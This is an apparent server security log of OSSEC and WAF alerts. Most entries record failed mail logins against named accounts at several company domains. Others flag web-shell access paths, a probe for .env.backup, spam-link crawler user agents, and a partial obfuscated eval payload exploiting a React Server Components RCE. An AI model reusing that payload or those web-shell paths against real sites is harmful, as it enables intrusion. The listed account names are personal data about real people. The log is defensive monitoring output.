# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-14 00:17:51 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([45.170.50.2]) [68.7.114.69]:47493: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-14 00:18:43 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [207.254.71.129]:64644: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-14 00:19:30 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se (static.ill.117.250.19.91.bsnl.co.in) [155.4.209.51]:50158: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-14 00:22:47 dovecot_login authenticator failed for H=([212.251.0.147]) [103.67.152.201]:41966: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-14 00:23:07 dovecot_login authenticator failed for H=(60-250-63-7.hinet-ip.hinet.net) [173.91.46.151]:56526: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-14 00:29:26 dovecot_login authenticator failed for H=(pppoe-78-111-249-76.dynamic.tvingo.ru) [119.92.76.210]:40212: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-14 00:29:43 dovecot_login authenticator failed for H=([60.12.106.119]) [147.148.205.252]:36310: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-14 00:33:33 dovecot_login authenticator failed for H=(3.129.239.124.broad.ts.he.dynamic.163data.com.cn) [59.23.3.146]:53122: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-14 00:34:11 dovecot_login authenticator failed for H=([107.181.161.85]) [122.185.101.50]:48974: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 206.119.170.12
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoqcjgwy/fonts/backup.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-14 00:45:06 dovecot_login authenticator failed for H=([98.182.147.126]) [122.185.101.50]:34108: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-14 00:46:37 dovecot_login authenticator failed for H=([189.113.185.142]) [61.37.150.6]:25346: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-14 00:49:33 dovecot_login authenticator failed for H=([202.108.14.226]) [65.20.205.197]:52491: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-14 00:49:59 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [119.92.76.210]:48998: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-14 00:53:10 dovecot_login authenticator failed for H=([49.124.146.40]) [116.98.104.138]:45334: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-14 00:58:52 dovecot_login authenticator failed for H=([36.135.62.94]) [122.187.116.110]:39904: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-14 00:58:36 dovecot_login authenticator failed for H=([115.241.228.34]) [101.13.5.50]:35304: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-14 00:58:44 dovecot_login authenticator failed for H=([49.124.147.109]) [64.53.7.231]:34562: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-14 00:59:33 dovecot_login authenticator failed for H=([192.111.129.146]) [119.152.102.54]:55080: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-14 01:01:56 dovecot_login authenticator failed for H=(47-206-63-169.e8235131806a02dcb1fe9c7a57eaaeb8.ip.frontiernet.net) [103.176.160.146]:37432: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-14 01:02:19 dovecot_login authenticator failed for H=([183.239.20.236]) [196.190.43.161]:38774: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.120.42.31
country_id: 1733045
description:
2026-07-14 01:08:42 dovecot_login authenticator failed for H=([203.193.168.136]) [121.120.42.31]:35896: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://app.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-14 01:11:22 dovecot_login authenticator failed for H=(spb-195-239-224-194.sovintel.ru) [65.20.191.231]:45318: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.155.225.93
country_id: 878675
description:
2026-07-14 01:11:36 dovecot_login authenticator failed for H=([199.229.254.131]) [197.155.225.93]:35242: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-14 01:12:22 dovecot_login authenticator failed for H=([115.89.229.34]) [103.176.160.146]:39624: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-14 01:13:21 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com ([206.220.175.5]) [90.230.226.175]:34244: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.116.19.117
country_id: 1835841
description:
2026-07-14 01:16:12 dovecot_login authenticator failed for H=([183.236.75.189]) [222.116.19.117]:49118: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: www.metrodigitals.com
description:


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_373aaa4f\":-1,\"_response\":{\"_prefix\":\"var av=arguments['\\\\x31'];var mvtf=av;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-14 01:25:25 dovecot_login authenticator failed for H=([49.124.149.213]) [184.57.39.170]:58298: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.254.98
country_id: 1835841
description:
2026-07-14 01:25:42 dovecot_login authenticator failed for H=([67.201.59.67]) [220.124.254.98]:46884: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-14 01:28:11 dovecot_login authenticator failed for H=(105.217.146.34.bc.googleusercontent.com) [125.23.255.134]:45728: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-14 01:27:48 dovecot_login authenticator failed for H=([49.124.159.184]) [203.252.10.3]:13051: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-14 01:28:45 dovecot_login authenticator failed for H=([166.165.75.187]) [59.12.212.38]:60290: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-14 01:29:21 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([118.122.196.230]) [221.120.4.61]:47433: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-14 01:31:04 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [93.95.241.150]:36506: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-14 01:32:15 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca (abts-ap-dynamic-093.207.169.122.airtelbroadband.in) [24.207.66.154]:42226: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-14 01:32:43 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net ([174.75.211.204]) [111.70.3.122]:59955: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://wiki.ladearth.xyz/index.php?title=C%C3%A0_Ph%C3%AA_Gh%C3%A9p_%E2%80%93_Gi%E1%BA%A3i_Ph%C3%A1p_T%C4%83ng_N%C4%83ng_Su%E1%BA%A5t_B%E1%BB%81n_V%E1%BB%AFng_Cho_V%C6%B0%E1%BB%9Dn_C%C3%A2y\">n\xc4\x83ng su\xe1\xba\xa5t c\xc3\xa0 ph\xc3\xaa T\xc3\xa2y Nguy\xc3\xaan</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-14 01:39:01 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net ([112.27.230.157]) [200.105.141.172]:51188: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-14 01:39:48 dovecot_login authenticator failed for H=([14.35.209.208]) [121.73.169.149]:33932: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-14 01:48:59 dovecot_login authenticator failed for H=([49.124.152.250]) [207.254.22.207]:65212: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-14 01:50:02 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([117.158.21.113]) [51.68.226.171]:38006: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-14 01:50:39 dovecot_login authenticator failed for H=([45.82.110.150]) [59.23.3.146]:55768: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.53
country_id: 1668284
description:
2026-07-14 01:59:11 dovecot_login authenticator failed for H=111-70-38-53.emome-ip.hinet.net ([98.181.137.69]) [111.70.38.53]:60711: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.160.206
country_id: 1269750
description:
2026-07-14 01:59:00 dovecot_login authenticator failed for H=([125.19.169.115]) [125.19.160.206]:38594: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-14 02:02:52 dovecot_login authenticator failed for H=([220.180.107.193]) [220.235.225.112]:55674: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 02:02:48 dovecot_login authenticator failed for H=([192.111.134.12]) [196.188.93.169]:3693: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-14 02:03:11 dovecot_login authenticator failed for H=([157.85.13.153]) [172.191.74.151]:38454: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-14 02:02:33 dovecot_login authenticator failed for H=([192.111.129.146]) [122.169.40.221]:39142: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 129.226.83.92
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:alnay||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-14 02:18:05 dovecot_login authenticator failed for H=([218.90.164.34]) [89.121.255.194]:4543: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.58
country_id: 1668284
description:
2026-07-14 02:18:51 dovecot_login authenticator failed for H=110-25-109-58.adsl.fetnet.net ([183.105.71.98]) [110.25.109.58]:55354: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-14 02:20:01 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net ([67.201.39.9]) [111.70.9.143]:52054: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-14 02:19:28 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([218.4.110.186]) [37.157.91.62]:60580: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.67.158
country_id: 1835841
description:
2026-07-14 02:20:53 dovecot_login authenticator failed for H=([80.233.12.109]) [14.51.67.158]:43124: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-14 02:21:09 dovecot_login authenticator failed for H=([193.46.192.20]) [103.83.23.169]:32908: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-14 02:21:16 dovecot_login authenticator failed for H=(p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp) [136.35.246.152]:39446: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.88.152.182
country_id: 3508796
description:
2026-07-14 02:21:41 dovecot_login authenticator failed for H=tdev152-182.codetel.net.do (17.64.uzpak.uz) [200.88.152.182]:58748: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 02:22:10 dovecot_login authenticator failed for H=([110.77.150.25]) [196.188.93.169]:3694: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.101.43
country_id: 2077456
description:
2026-07-14 02:23:14 dovecot_login authenticator failed for H=([105.247.89.210]) [123.209.101.43]:58510: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-14 02:22:51 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com ([124.83.9.141]) [31.208.108.219]:42673: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ogocindia.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-14 02:35:24 dovecot_login authenticator failed for H=([220.86.176.134]) [182.95.181.138]:60464: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-14 02:35:43 dovecot_login authenticator failed for H=([184.185.2.254]) [62.201.228.210]:35340: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-14 02:36:22 dovecot_login authenticator failed for H=(host-119.84.45.129.djezzycloud.dz) [51.116.117.203]:42803: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-14 02:38:46 dovecot_login authenticator failed for H=([49.124.153.57]) [125.130.102.172]:44039: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.125.96.254
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/interceptorgloba/public_html/wp-admin||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.67.7.98
country_id: 3996063
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 crypto-friendly apple retailer [<a href=\"https://macforcrypto.com\">https://macforcrypto.com</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.210
country_id: 130758
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/cache.php||SC:/home/globalgroupoman/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-14 02:51:50 dovecot_login authenticator failed for H=([49.124.152.36]) [93.95.241.150]:57659: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.44.175.24
country_id: 357994
description:
2026-07-14 02:53:10 dovecot_login authenticator failed for H=(syn-024-097-253-246.biz.spectrum.com) [102.44.175.24]:58906: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-14 02:53:22 dovecot_login authenticator failed for H=(177-0-238-161.bnut3703.dsl.brasiltelecom.net.br) [122.187.221.130]:59860: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-14 02:54:02 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [122.160.137.230]:60868: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-14 02:54:42 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [197.219.208.58]:51386: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-14 02:58:27 dovecot_login authenticator failed for H=([183.171.49.158]) [112.162.111.205]:37239: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-14 02:58:27 dovecot_login authenticator failed for H=(wsip-70-166-207-65.ph.ph.cox.net) [59.12.212.38]:38964: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-14 02:58:50 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([60.216.89.122]) [171.100.121.127]:33834: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-14 03:00:43 dovecot_login authenticator failed for H=([207.219.221.101]) [14.51.12.142]:45180: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 03:01:46 dovecot_login authenticator failed for H=(180.151.254.218.reverse.spectranet.in) [196.188.93.169]:4442: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.140.138
country_id: 1562822
description:
2026-07-14 03:04:15 dovecot_login authenticator failed for H=([198.8.94.171]) [113.160.140.138]:53644: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 133.232.78.150
country_id: 1861060
description:
2026-07-14 03:05:02 dovecot_login authenticator failed for H=133.232.78.150.static.zoot.jp ([41.224.62.206]) [133.232.78.150]:39404: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-14 03:05:32 dovecot_login authenticator failed for H=([199.187.210.51]) [182.95.187.86]:34298: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-14 03:06:08 dovecot_login authenticator failed for H=([36.135.100.48]) [182.78.65.154]:34906: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.104.222.189
country_id: 1835841
description:
2026-07-14 03:09:25 dovecot_login authenticator failed for H=([196.189.126.10]) [210.104.222.189]:33527: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-14 03:09:45 dovecot_login authenticator failed for H=([213.234.8.114]) [14.32.231.200]:52075: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.176.109.31
country_id: 1835841
description:
2026-07-14 03:11:57 dovecot_login authenticator failed for H=([171.7.83.35]) [121.176.109.31]:40924: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-14 03:12:18 dovecot_login authenticator failed for H=(201.221.116.88.cidadei.com.br) [125.19.182.118]:35810: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.31.162
country_id: 1835841
description:
2026-07-14 03:12:20 dovecot_login authenticator failed for H=([192.111.130.1]) [59.8.31.162]:48954: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.60.138
country_id: 1835841
description:
2026-07-14 03:12:21 dovecot_login authenticator failed for H=([199.229.254.131]) [112.184.60.138]:50609: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-14 03:11:57 dovecot_login authenticator failed for H=([103.30.112.214]) [103.176.160.146]:34560: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-14 03:12:38 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([184.185.2.254]) [221.120.4.61]:49440: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-14 03:13:55 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([70.166.167.49]) [148.170.156.248]:37260: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://www.nrs-ndc.info/freecgi/EasyBBS/index.cgi?bid=2&popup=1&desc-&gt\">\xe2\x80\x9cViencaytrong.com\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-14 03:14:40 dovecot_login authenticator failed for H=([220.93.167.144]) [119.152.102.54]:57845: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-14 03:16:30 dovecot_login authenticator failed for H=([40.68.103.10]) [193.46.192.20]:52939: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-14 03:16:54 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([174.64.199.77]) [34.41.211.48]:54910: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-14 03:18:05 dovecot_login authenticator failed for H=([142.54.228.195]) [111.118.47.8]:1234: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-14 03:17:25 dovecot_login authenticator failed for H=([118.98.90.22]) [112.160.57.196]:53740: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.10.205
country_id: 1668284
description:
2026-07-14 03:21:05 dovecot_login authenticator failed for H=116-59-10-205.emome-ip.hinet.net ([210.104.223.133]) [116.59.10.205]:55240: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-14 03:21:33 dovecot_login authenticator failed for H=([192.252.208.66]) [182.95.181.138]:50392: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
